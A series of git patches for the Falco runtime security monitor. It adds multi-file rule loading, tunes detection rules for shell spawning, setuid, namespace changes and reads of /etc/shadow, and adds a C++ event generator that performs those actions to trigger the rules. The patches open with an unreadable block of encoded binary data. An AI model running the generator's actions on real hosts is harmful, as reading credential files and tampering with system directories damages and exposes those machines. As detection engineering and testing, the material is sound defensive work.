zi)9|3h@+Xwy^l=oTs7({msjrB?j^P%txbaQYAI4>MM7oeIdu!&j*f`VcF~FX#i^N^ zDytI?%jZ0QFU>XH4wk|DB$^XgAeaON2ot=!Ktln32n2uQjETDUtnB_;v!p9F`oXby z5xoWEurpkYwv_vW!VW{YzfEa7-!a6sPQO*XB2Z1nQoO>?Ri9b}(z2YjZ56~mG^5$| zlgqS$9C%*--BWVs+_Ct4tg6-6wS{_mfkDmAv%6lKD`Cc7nys*c_K(Si`2GdvVvhp? z)J(Oa!@UY;9UhJp7GA;Pssw#2e!y&P(y#y&PkXVN?or%tl;^~R{@EsyHj1DDl+ggv zX-<%(S3EdRzV+P_iagmi%QeO~vA^)eu3NRt)5uj^evqqq%6abm-zmY3nnfZ-W0PslBrx0vzBz?^XS7NVn9 z0^R{PcEbTC38ysl$qr1IR~4=9;$k)W(Nq$bbUiYpqjewpK!xl zu8H1JLSUy=Bl_(;D;8 zF5k~b?sDVlH?=X|V@l-R8PP-xOz!cf_GI8O`~vSTc_HST>kxIWOeEjzk#gf z^Gb)&6WI4`*Tc^v)EC67<5iPkT&o`HS%LPHVeI=ovlWaLG8fa={%MURsRjk~?Htu{sOXo;+#7dV5NIx{!nHq}o1n9r@Dp^BGsU2s+#Y zDtJNHTS`#2XakxgF~Vt79rqg|0p9mrZ0GcGW-m{`JXIXFDL=hE*V?qz`w;DbA?%^& zd~DS@c!hdgOKyiC=v1ET3a$>a>cN3O9t!jU%f?^LyyX3CaX2d?`jw^RXMGlKi*saf zNqHUDix2~4q7rYz!J6u0{wq^sh3~BJh8IO`?HQv^uw|Efx~5Z;4|830-_UDL<`8dn zV)&7zit#GU~3}rysQ4~YdBx$GS=mP z;EHwi)Yw4Ud_xo3P_e|W$UCIqBcv&kieL&i&uPa|TrWJa6DSS5d7@)GHhOZc3V9BLh<}VR_$ru#@o$e!6m__R^eQT5%iGd0e=D0o$Jx98iVo{V#`Z*%9%+o;@T1>a`c*yq*UX26}3q~YwX5ys|K z^xq_K7blXoEcI9Y*!NDJ-+h`pJEnBheKH=(a+}fZHg`1m;aNDn*un6usxu!eUm*&v zo&nW981AkhL2k2y1jXH$YHst91jSP~&?6Do^W|VRPM`a|)9(SqCxaMV!58PxbZ&l) zu#gX;e@HAsoqZ)JM&ICuz!A4jXoLQ|gr5E;l0PmE1IV1YZk&XS1S&Cm+IM@-G;Y2> z*}ZQy$Cfkk2ih zzUv#8ZD!Iti>}gdk8^8i3|KCGlB3Yq8-KzPlsMf#$C!Bnnj1`)t{WvkYb;?1?KR^$ zO*+%B6>P}=Q5uN)9v@AP#7rrOtR~`!lHvA00a0XUBm~aC$Nsm${{I5bPjuvh@Ed0G z|E*I0hd8p&fAN1*zxOFVioE98{QtdSp%?1&|Jn3<`hUDYV#ulauv#ygvX|@Q;M+*o zHfi_uB~aqsz5|m*l;=CLV;Q14&tIZg^cYD2`iJ?+h%=t2hApMJQMOT9?HDqnT`<`R z)F{!@1a>}os%NBT1R<}s^O5va=5~5u2N{F?SEUFV;8) zd=2L#taz{8!`r*D%`0p^t|#auRTS!0RhPwdO4>cb^@NE8SBY1Q#&<~O1=&Bcvu!XD zxUR*3Ex@VOu)MXojTZSiONY7Xu)el(pX;~I@d~&Ro;O#gR?$=oNjSb|;y(yqUVQ@V zmxnL~Q29OO{GbY-&T->E+U)`b><)Auas+=^x(}D+&elgasPhZaPkQiw?l6AJiH*=+ecCdE94$V#LDINcd($A! zDy=OYhR^xq9gGo{tA0x3P1>SQcM4A)d_U{&v$IbjRd|hy@KM(>_SImcizSsB+6dA8 zi*HLcoQZx#dsHza-%Op0p%BXL{Ny{36{yXu#Xh%|Fr7_vq=~nB>Uu#Fgr4Bg?qRl} z2be#sIJ1L3{c)KmN^|^^!Q;BJy5Cn#>dxEuapA-TI5s#JfF@TXS{OH~Oe&dW?@)c8 z@F-!>UxvkA6>}GiG(7xrd&x6O<(SaPLFFp*Pi|1 zB>WK9XXfN3g8oN%AJcXA68Umj;KV+%Ca_p&fnGI4I%vQ8XrLO;M z2e#FZP=JEs^f@qR`x~+vkMZlT1|HWP#BH0dUiB?%mlYG1$0-nPH$TxM*X z5g(>fPkr9LY=<;Hx2Uh^_dR_Bw|U-LtX!_04?i4r8vCUhKiD?#R2(p7-=*n98*;Uv z-@(#&*Thh&lD|HB^-Nvg-JKc1e0uJdKir=sW3TwtA6|PtKLAUFebx_me0MI!)`P~b z*;~|oI^dneSpXNP@3)1y+Wk4=T8r@eJfi~GwSA*D$k}>&@s)% z=3Hft-?3jrC*`+|!S(cqbGUQwuagIL({@&*^Pg3mI#t8~zh}j_0Gw2y#+aAIU1(oA zF&E(QAWm%=2e^-@vDy+kKOIY2BrY3>dCa~?ejxG|FNPVnpTVv%ABontwIrX9T!0D- z?1Ah6gS&CbpXbN9wR>39B&VZkC(qUEPplWdvo0AY`gcB+LlG?*UoU(+B{+;9E8MTq zZ*6~5H_jiFoy-BBd3^ZmN#0f2ySgj>gSeo+~^1h z03+64mWG;m(QkY35lO5wM9kr0iPifi`Kk7qwP0-QX|JSe|yNZ^mszhN9< z^r9|>p#0nXzZ3KSipl64thDMmQ}+-jUn_vsA*q4>TO-#W(_n0t!KevUXz$8?&cEZz zVl24Is^=-*a18AquJ7?i|C=H7obX@Df;|}8vap>d$E0llek!W}olO2qk^a$VbE5y> zlKL<9|ERhDw?OZ0g#A+JMz;OGDejMd@qaD@?#D<59@)kILpT4QYk &cmdline_optio init_cmdline_options(cmdline_options); - m_rules_filename = m_config->get_scalar("rules_file", "/etc/falco_rules.yaml"); + m_rules_filenames.push_back(m_config->get_scalar("rules_file", "/etc/falco_rules.yaml")); m_json_output = m_config->get_scalar("json_output", false); falco_outputs::output_config file_output; diff --git a/userspace/falco/configuration.h b/userspace/falco/configuration.h index 8e13fd94..2076b5aa 100644 --- a/userspace/falco/configuration.h +++ b/userspace/falco/configuration.h @@ -123,7 +123,7 @@ class falco_configuration void init(std::string conf_filename, std::list &cmdline_options); void init(std::list &cmdline_options); - std::string m_rules_filename; + std::list m_rules_filenames; bool m_json_output; std::vector m_outputs; private: diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp index e7ebc1b2..7e986487 100644 --- a/userspace/falco/falco.cpp +++ b/userspace/falco/falco.cpp @@ -2,6 +2,9 @@ #include #include +#include +#include +#include #include #include #include @@ -41,6 +44,7 @@ static void usage() " -p, --pidfile When run as a daemon, write pid to specified file\n" " -e Read the events from (in .scap format) instead of tapping into live.\n" " -r Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n" + " Can be specified multiple times to read from multiple files.\n" " -D Disable any rules matching the regex . Can be specified multiple times.\n" " -L Show the name and description of all rules and exit.\n" " -l Show the name and description of the rule with name and exit.\n" @@ -140,7 +144,7 @@ int falco_init(int argc, char **argv) int long_index = 0; string scap_filename; string conf_filename; - string rules_filename; + list rules_filenames; bool daemon = false; string pidfilename = "/var/run/falco.pid"; bool describe_all_rules = false; @@ -192,7 +196,7 @@ int falco_init(int argc, char **argv) scap_filename = optarg; break; case 'r': - rules_filename = optarg; + rules_filenames.push_back(optarg); break; case 'D': pattern = optarg; @@ -273,14 +277,16 @@ int falco_init(int argc, char **argv) falco_logger::log(LOG_INFO, "Falco initialized. No configuration file found, proceeding with defaults\n"); } - if (rules_filename.size()) + if (rules_filenames.size()) { - config.m_rules_filename = rules_filename; + config.m_rules_filenames = rules_filenames; } - engine->load_rules_file(rules_filename, verbose, all_events); - - falco_logger::log(LOG_INFO, "Parsed rules from file " + rules_filename + "\n"); + for (auto filename : config.m_rules_filenames) + { + engine->load_rules_file(filename, verbose, all_events); + falco_logger::log(LOG_INFO, "Parsed rules from file " + filename + "\n"); + } for (auto pattern : disabled_rule_patterns) { From 12391ee50838905fae6b1e05d2b9068d993c35f5 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Wed, 10 Aug 2016 13:48:06 -0700 Subject: [PATCH 08/63] Eliminate FPs. Docker 1.12 split docker into docker and dockerd, so add dockerd as a docker binary. Also be consistent about using docker_binares instead of just references to docker. Also add ldconfig as a program that can write to files below /etc. --- rules/falco_rules.yaml | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index 791e9b77..178d1be7 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -93,7 +93,7 @@ items: [setup-backend, dragent] - list: docker_binaries - items: [docker, exe] + items: [docker, dockerd, exe] - list: http_server_binaries items: [nginx, httpd, httpd-foregroun, lighttpd] @@ -186,7 +186,7 @@ - macro: write_etc_common condition: > etc_dir and evt.dir = < and open_write - and not proc.name in (shadowutils_binaries, sysdigcloud_binaries, package_mgmt_binaries, ssl_mgmt_binaries, dhcp_binaries, ldconfig.real) + and not proc.name in (shadowutils_binaries, sysdigcloud_binaries, package_mgmt_binaries, ssl_mgmt_binaries, dhcp_binaries, ldconfig.real, ldconfig) and not proc.pname in (sysdigcloud_binaries) and not fd.directory in (/etc/cassandra, /etc/ssl/certs/java) @@ -258,13 +258,13 @@ - rule: change_thread_namespace desc: an attempt to change a program/thread\'s namespace (commonly done as a part of creating a container) by calling setns. - condition: evt.type = setns and not proc.name in (docker, sysdig, dragent, nsenter, exe) + condition: evt.type = setns and not proc.name in (docker_binaries, sysdig, dragent, nsenter) output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline container=%container.id)" priority: WARNING - rule: run_shell_untrusted desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries. - condition: spawned_process and not container and proc.name = bash and proc.pname exists and not proc.pname in (cron_binaries, bash, sshd, sudo, docker, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent) + condition: spawned_process and not container and proc.name = bash and proc.pname exists and not proc.pname in (cron_binaries, bash, sshd, sudo, docker_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent) output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING @@ -281,7 +281,7 @@ - rule: run_shell_in_container desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded. - condition: spawned_process and container and proc.name = bash and proc.pname exists and not proc.pname in (sh, bash, docker) + condition: spawned_process and container and proc.name = bash and proc.pname exists and not proc.pname in (sh, bash, docker_binaries) output: "Shell spawned in a container other than entrypoint (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING From 39ae7680a7b93d02686184ec57b360071587fc2d Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Wed, 10 Aug 2016 14:15:26 -0700 Subject: [PATCH 09/63] Handle dbus-daemon-launch-helper. It starts dbus-daemon. Process names are truncated, though, so use dbus-daemon-lau. --- rules/falco_rules.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index 178d1be7..e576fb94 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -304,7 +304,7 @@ # sshd, mail programs attempt to setuid to root even when running as non-root. Excluding here to avoid meaningless FPs - rule: non_sudo_setuid desc: an attempt to change users by calling setuid. sudo/su are excluded. user "root" is also excluded, as setuid calls typically involve dropping privileges. - condition: evt.type=setuid and evt.dir=> and not user.name=root and not proc.name in (userexec_binaries, mail_binaries, sshd) + condition: evt.type=setuid and evt.dir=> and not user.name=root and not proc.name in (userexec_binaries, mail_binaries, sshd, dbus-daemon-lau) output: "Unexpected setuid call by non-sudo, non-root program (user=%user.name command=%proc.cmdline uid=%evt.arg.uid)" priority: WARNING From 6e1f23b9a53798de3c89a64ec8a300a0027520e4 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Thu, 11 Aug 2016 16:37:07 -0700 Subject: [PATCH 10/63] Program/docker image that performs bad activities. C++ program that performs bad activities related to the current falco ruleset. There are configurable actions for almost all of the current ruleset, via the --action argument. By default runs in a loop forever. Can be overridden via --once. Also add a Dockerfile that compiles event_generator.cpp within an alpine linux image and copies it to /usr/local/bin. This image has been pushed to docker hub as "sysdig/falco-event-generator:latest". Add a Makefile that runs the right docker build command. --- .gitignore | 6 + docker/event-generator/Dockerfile | 6 + docker/event-generator/Makefile | 2 + docker/event-generator/event_generator.cpp | 402 +++++++++++++++++++++ 4 files changed, 416 insertions(+) create mode 100644 docker/event-generator/Dockerfile create mode 100644 docker/event-generator/Makefile create mode 100644 docker/event-generator/event_generator.cpp diff --git a/.gitignore b/.gitignore index d1217019..b3abef09 100644 --- a/.gitignore +++ b/.gitignore @@ -11,3 +11,9 @@ test/results*.json.* userspace/falco/lua/re.lua userspace/falco/lua/lpeg.so + +docker/event-generator/event-generator +docker/event-generator/mysqld +docker/event-generator/httpd +docker/event-generator/sha1sum +docker/event-generator/vipw diff --git a/docker/event-generator/Dockerfile b/docker/event-generator/Dockerfile new file mode 100644 index 00000000..84539a95 --- /dev/null +++ b/docker/event-generator/Dockerfile @@ -0,0 +1,6 @@ +FROM alpine:latest +RUN apk add --no-cache bash g++ +COPY ./event_generator.cpp /usr/local/bin +RUN mkdir -p /var/lib/rpm +RUN g++ --std=c++0x /usr/local/bin/event_generator.cpp -o /usr/local/bin/event_generator +CMD ["/usr/local/bin/event_generator"] diff --git a/docker/event-generator/Makefile b/docker/event-generator/Makefile new file mode 100644 index 00000000..09a9c8f9 --- /dev/null +++ b/docker/event-generator/Makefile @@ -0,0 +1,2 @@ +image: + docker build -t sysdig/falco-event-generator:latest . diff --git a/docker/event-generator/event_generator.cpp b/docker/event-generator/event_generator.cpp new file mode 100644 index 00000000..266eeaeb --- /dev/null +++ b/docker/event-generator/event_generator.cpp @@ -0,0 +1,402 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +using namespace std; + +void usage(char *program) +{ + printf("Usage %s [options]\n\n", program); + printf("Options:\n"); + printf(" -h/--help: show this help\n"); + printf(" -a/--action: actions to perform. Can be one of the following:\n"); + printf(" write_binary_dir Write to files below /bin\n"); + printf(" write_etc Write to files below /etc\n"); + printf(" read_sensitive_file Read a sensitive file\n"); + printf(" read_sensitive_file_after_startup As a trusted program, wait a while,\n"); + printf(" then read a sensitive file\n"); + printf(" write_rpm_database Write to files below /var/lib/rpm\n"); + printf(" spawn_shell Run a shell (bash)\n"); + printf(" db_program_spawn_process As a database program, try to spawn\n"); + printf(" another program\n"); + printf(" modify_binary_dirs Modify a file below /bin\n"); + printf(" mkdir_binary_dirs Create a directory below /bin\n"); + printf(" change_thread_namespace Change namespace\n"); + printf(" system_user_interactive Change to a system user and try to\n"); + printf(" run an interactive command\n"); + printf(" network_activity Open network connections\n"); + printf(" (used by system_procs_network_activity below)\n"); + printf(" system_procs_network_activity Open network connections as a program\n"); + printf(" that should not perform network actions\n"); + printf(" non_sudo_setuid Setuid as a non-root user\n"); + printf(" create_files_below_dev Create files below /dev\n"); + printf(" exec_ls execve() the program ls\n"); + printf(" (used by user_mgmt_binaries below)\n"); + printf(" user_mgmt_binaries Become the program \"vipw\", which triggers\n"); + printf(" rules related to user management programs\n"); + printf(" all All of the above\n"); + printf(" -i/--interval: Number of seconds between actions\n"); + printf(" -o/--once: Perform actions once and exit\n"); +} + +void open_file(const char *filename, const char *flags) +{ + FILE *f = fopen(filename, flags); + if(f) + { + fclose(f); + } + else + { + fprintf(stderr, "Could not open %s for writing: %s\n", filename, strerror(errno)); + } + +} + +void touch(const char *filename) +{ + open_file(filename, "w"); +} + +void read(const char *filename) +{ + open_file(filename, "r"); +} + +uid_t become_user(const char *user) +{ + struct passwd *pw; + pw = getpwnam(user); + if(pw == NULL) + { + fprintf(stderr, "Could not find user information for \"%s\" user: %s\n", user, strerror(errno)); + exit(1); + } + + int rc = setuid(pw->pw_uid); + + if(rc != 0) + { + fprintf(stderr, "Could not change user to \"%s\" (uid %u): %s\n", user, pw->pw_uid, strerror(errno)); + exit(1); + } +} + +void spawn(const char *cmd, char **argv, char **env) +{ + pid_t child; + + // Fork a process, that way proc.duration is reset + if ((child = fork()) == 0) + { + execve(cmd, argv, env); + fprintf(stderr, "Could not exec to spawn %s: %s\n", cmd, strerror(errno)); + } + else + { + int status; + waitpid(child, &status, 0); + } +} + +void respawn(const char *cmd, const char *action, const char *interval) +{ + char *argv[] = {(char *) cmd, + (char *) "--action", (char *) action, + (char *) "--interval", (char *) interval, + (char *) "--once", NULL}; + + char *env[] = {NULL}; + + spawn(cmd, argv, env); +} + +void write_binary_dir() { + printf("Writing to /bin/created-by-event-generator-sh...\n"); + touch("/bin/created-by-event-generator-sh"); +} + +void write_etc() { + printf("Writing to /etc/created-by-event-generator-sh...\n"); + touch("/etc/created-by-event-generator-sh"); +} + +void read_sensitive_file() { + printf("Reading /etc/shadow...\n"); + read("/etc/shadow"); +} + +void read_sensitive_file_after_startup() { + printf("Becoming the program \"httpd\", sleeping 6 seconds and reading /etc/shadow...\n"); + respawn("./httpd", "read_sensitive_file", "6"); +} + +void write_rpm_database() { + printf("Writing to /var/lib/rpm/created-by-event-generator-sh...\n"); + touch("/var/lib/rpm/created-by-event-generator-sh"); +} + +void spawn_shell() { + printf("Spawning a shell using system()...\n"); + int rc; + + if ((rc = system("ls > /dev/null")) != 0) + { + fprintf(stderr, "Could not run ls > /dev/null in a shell: %s\n", strerror(errno)); + } +} + +void db_program_spawn_process() { + printf("Becoming the program \"mysql\" and then spawning a shell\n"); + respawn("./mysqld", "spawn_shell", "0"); +} + +void modify_binary_dirs() { + printf("Moving /bin/true to /bin/true.event-generator-sh and back...\n"); + + if (rename("/bin/true", "/bin/true.event-generator-sh") != 0) + { + fprintf(stderr, "Could not rename \"/bin/true\" to \"/bin/true.event-generator-sh\": %s\n", strerror(errno)); + } + else + { + if (rename("/bin/true.event-generator-sh", "/bin/true") != 0) + { + fprintf(stderr, "Could not rename \"/bin/true.event-generator-sh\" to \"/bin/true\": %s\n", strerror(errno)); + } + } +} + +void mkdir_binary_dirs() { + printf("Creating directory /bin/directory-created-by-event-generator-sh...\n"); + if (mkdir("/bin/directory-created-by-event-generator-sh", 0644) != 0) + { + fprintf(stderr, "Could not create directory \"/bin/directory-created-by-event-generator-sh\": %s\n", strerror(errno)); + } +} + +void change_thread_namespace() { + printf("Calling setns() to change namespaces...\n"); + // It doesn't matter that the arguments to setns are + // bogus. It's the attempt to call it that will trigger the + // rule. + setns(0, 0); +} + +void system_user_interactive() { + pid_t child; + + // Fork a child and do everything in the child. + if ((child = fork()) == 0) + { + become_user("daemon"); + char *argv[] = {(char *)"/bin/login", NULL}; + char *env[] = {NULL}; + spawn("/bin/login", argv, env); + exit(0); + } + else + { + int status; + waitpid(child, &status, 0); + } +} + +void network_activity() { + printf("Opening a listening socket on port 8192...\n"); + int rc; + int sock = socket(PF_INET, SOCK_DGRAM, 0); + struct sockaddr_in localhost; + + localhost.sin_family = AF_INET; + localhost.sin_port = htons(8192); + inet_aton("127.0.0.1", &(localhost.sin_addr)); + + if((rc = bind(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0) + { + fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno)); + return; + } + + listen(sock, 1); + + close(sock); +} + +void system_procs_network_activity() { + printf("Becoming the program \"sha1sum\" and then performing network activity\n"); + respawn("./sha1sum", "network_activity", "0"); +} + +void non_sudo_setuid() { + pid_t child; + + // Fork a child and do everything in the child. + if ((child = fork()) == 0) + { + // First setuid to something non-root. Then try to setuid back to root. + become_user("daemon"); + become_user("root"); + exit(0); + } + else + { + int status; + waitpid(child, &status, 0); + } +} + +void create_files_below_dev() { + printf("Creating /dev/created-by-event-generator-sh...\n"); + touch("/dev/created-by-event-generator-sh"); +} + +void exec_ls() +{ + char *argv[] = {(char *)"/bin/ls", NULL}; + char *env[] = {NULL}; + spawn("/bin/ls", argv, env); +} + +void user_mgmt_binaries() { + printf("Becoming the program \"vipw\" and then running the program /bin/ls\n"); + printf("NOTE: does not result in a falco notification in containers\n"); + respawn("./vipw", "exec_ls", "0"); +} + +typedef void (*action_t)(); + +map defined_actions = {{"write_binary_dir", write_binary_dir}, + {"write_etc", write_etc}, + {"read_sensitive_file", read_sensitive_file}, + {"read_sensitive_file_after_startup", read_sensitive_file_after_startup}, + {"write_rpm_database", write_rpm_database}, + {"spawn_shell", spawn_shell}, + {"db_program_spawn_process", db_program_spawn_process}, + {"modify_binary_dirs", modify_binary_dirs}, + {"mkdir_binary_dirs", mkdir_binary_dirs}, + {"change_thread_namespace", change_thread_namespace}, + {"system_user_interactive", system_user_interactive}, + {"network_activity", network_activity}, + {"system_procs_network_activity", system_procs_network_activity}, + {"non_sudo_setuid", non_sudo_setuid}, + {"create_files_below_dev", create_files_below_dev}, + {"exec_ls", exec_ls}, + {"user_mgmt_binaries", user_mgmt_binaries}}; + + +void create_symlinks(const char *program) +{ + int rc; + + // Some actions depend on this program being re-run as + // different program names like 'mysqld', 'httpd', etc. This + // sets up all the required symlinks. + const char *progs[] = {"./httpd", "./mysqld", "./sha1sum", "./vipw", NULL}; + + for (unsigned int i=0; progs[i] != NULL; i++) + { + unlink(progs[i]); + + if ((rc = symlink(program, progs[i])) != 0) + { + fprintf(stderr, "Could not link \"./event_generator\" to \"%s\": %s\n", progs[i], strerror(errno)); + } + } +} + +void run_actions(map &actions, int interval, bool once) +{ + while (true) + { + for (auto action : actions) + { + sleep(interval); + printf("***Action %s\n", action.first.c_str()); + action.second(); + } + if(once) + { + break; + } + } +} + +int main(int argc, char **argv) +{ + map actions; + int op; + int long_index = 0; + int interval = 1; + bool once = false; + map::iterator it; + + static struct option long_options[] = + { + {"help", no_argument, 0, 'h' }, + {"action", required_argument, 0, 'a' }, + {"interval", required_argument, 0, 'i' }, + {"once", no_argument, 0, 'o' }, + + {0, 0} + }; + + // + // Parse the args + // + while((op = getopt_long(argc, argv, + "ha:i:l:", + long_options, &long_index)) != -1) + { + switch(op) + { + case 'h': + usage(argv[0]); + exit(1); + case 'a': + if((it = defined_actions.find(optarg)) == defined_actions.end()) + { + fprintf(stderr, "No action with name \"%s\" known, exiting.\n", optarg); + exit(1); + } + actions.insert(*it); + break; + case 'i': + interval = atoi(optarg); + break; + case 'o': + once = true; + break; + default: + usage(argv[0]); + exit(1); + } + } + + if(actions.size() == 0) + { + actions = defined_actions; + } + + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + // Only create symlinks when running as the program event_generator + if (strstr(argv[0], "generator")) + { + create_symlinks(argv[0]); + } + + run_actions(actions, interval, once); +} From 65f3725e76897d07a179eafbe6b715b58e260de0 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Fri, 12 Aug 2016 14:17:13 -0700 Subject: [PATCH 11/63] Improve ruleset based on falco event-generator. Improve ruleset after using with falco event_generator: - Instead of assuming all shells are bash, add a list shell_binaries and macro shell_procs, and replace references to bash with shell_procs. This revealed some other programs that can spawn shells. - Add "login" as an interactive command. systemd-login isn't in alpine linux, which is the linux distro used for the container. - Move read_sensitive_file_untrusted before read_sensitive_file_trusted_after_startup, so it can hit first. --- rules/falco_rules.yaml | 24 +++++++++++++++--------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index e576fb94..ea0f941f 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -54,6 +54,12 @@ - macro: linux_so_dirs condition: ubuntu_so_dirs or centos_so_dirs or fd.name=/etc/ld.so.cache +- list: shell_binaries + items: [bash, csh, ksh, sh, tcsh, zsh, dash] + +- macro: shell_procs + condition: proc.name in (shell_binaries) + - list: coreutils_binaries items: [ truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who, @@ -161,7 +167,7 @@ - macro: container condition: container.id != host - macro: interactive - condition: ((proc.aname=sshd and proc.name != sshd) or proc.name=systemd-logind) + condition: ((proc.aname=sshd and proc.name != sshd) or proc.name=systemd-logind or proc.name=login) - macro: syslog condition: fd.name in (/dev/log, /run/systemd/journal/syslog) - list: cron_binaries @@ -203,18 +209,18 @@ output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name) within pipe installer session" priority: INFO -- rule: read_sensitive_file_untrusted - desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs. - condition: sensitive_files and open_read and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, cron_binaries, iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, bash, sshd) and not proc.cmdline contains /usr/bin/mandb - output: "Sensitive file opened for reading by non-trusted program (user=%user.name command=%proc.cmdline file=%fd.name)" - priority: WARNING - - rule: read_sensitive_file_trusted_after_startup desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information) by a trusted program after startup. Trusted programs might read these files at startup to load initial state, but not afterwards. condition: sensitive_files and open_read and server_procs and not proc_is_new and proc.name!="sshd" output: "Sensitive file opened for reading by trusted program after startup (user=%user.name command=%proc.cmdline file=%fd.name)" priority: WARNING +- rule: read_sensitive_file_untrusted + desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs. + condition: sensitive_files and open_read and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, cron_binaries, iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, shell_binaries, sshd) and not proc.cmdline contains /usr/bin/mandb + output: "Sensitive file opened for reading by non-trusted program (user=%user.name name=%proc.name command=%proc.cmdline file=%fd.name)" + priority: WARNING + # Only let rpm-related programs write to the rpm database - rule: write_rpm_database desc: an attempt to write to the rpm database by any non-rpm related program @@ -264,7 +270,7 @@ - rule: run_shell_untrusted desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries. - condition: spawned_process and not container and proc.name = bash and proc.pname exists and not proc.pname in (cron_binaries, bash, sshd, sudo, docker_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent) + condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose) output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING @@ -281,7 +287,7 @@ - rule: run_shell_in_container desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded. - condition: spawned_process and container and proc.name = bash and proc.pname exists and not proc.pname in (sh, bash, docker_binaries) + condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, initdb, pg_ctl) output: "Shell spawned in a container other than entrypoint (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING From 34fcce7c26381ca1ceb0f4fb131e69ccd39049d8 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Wed, 17 Aug 2016 13:24:25 -0700 Subject: [PATCH 12/63] Install falco rules with configurable filename. New variable FALCO_RULES_DEST_FILENAME allows the rules file to be installed with a different filename. Not set in the falco repo, but in the agent repo it's installed as falco_rules.default.yaml. --- rules/CMakeLists.txt | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/rules/CMakeLists.txt b/rules/CMakeLists.txt index 916f5f8f..94a0ad9c 100644 --- a/rules/CMakeLists.txt +++ b/rules/CMakeLists.txt @@ -2,12 +2,18 @@ if(NOT DEFINED FALCO_ETC_DIR) set(FALCO_ETC_DIR "/etc") endif() +if(NOT DEFINED FALCO_RULES_DEST_FILENAME) + set(FALCO_RULES_DEST_FILENAME "falco_rules.yaml") +endif() + if(DEFINED FALCO_COMPONENT) install(FILES falco_rules.yaml COMPONENT "${FALCO_COMPONENT}" - DESTINATION "${FALCO_ETC_DIR}") + DESTINATION "${FALCO_ETC_DIR}" + RENAME "${FALCO_RULES_DEST_FILENAME}") else() install(FILES falco_rules.yaml - DESTINATION "${FALCO_ETC_DIR}") + DESTINATION "${FALCO_ETC_DIR}" + RENAME "${FALCO_RULES_DEST_FILENAME}") endif() From 2731fd5ae1834bae3262573270c6ae542246ef96 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Mon, 22 Aug 2016 19:34:54 -0700 Subject: [PATCH 13/63] Verifying rule names can have spaces. Related to discussion on https://github.com/draios/agent/pull/160, verifying we can have rule names with spaces. --- test/falco_tests.yaml.in | 7 +++++++ test/rules/rule_names_with_spaces.yaml | 8 ++++++++ 2 files changed, 15 insertions(+) create mode 100644 test/rules/rule_names_with_spaces.yaml diff --git a/test/falco_tests.yaml.in b/test/falco_tests.yaml.in index 17e61f24..77d15b8e 100644 --- a/test/falco_tests.yaml.in +++ b/test/falco_tests.yaml.in @@ -61,6 +61,13 @@ trace_files: !mux - repeated_evttypes_with_separate_in: [open] - repeated_evttypes_with_mix: [open] + rule_names_with_spaces: + detect: True + detect_level: WARNING + rules_file: + - rules/rule_names_with_spaces.yaml + trace_file: trace_files/cat_write.scap + multiple_rules_first_empty: detect: True detect_level: WARNING diff --git a/test/rules/rule_names_with_spaces.yaml b/test/rules/rule_names_with_spaces.yaml new file mode 100644 index 00000000..c4b8488e --- /dev/null +++ b/test/rules/rule_names_with_spaces.yaml @@ -0,0 +1,8 @@ +- macro: is_cat + condition: proc.name=cat + +- rule: Open From Cat + desc: A process named cat does an open + condition: evt.type=open and is_cat + output: "An open was seen (command=%proc.cmdline)" + priority: WARNING \ No newline at end of file From ceedd772c7d0bf67747666245e5632694f2ce5e6 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: 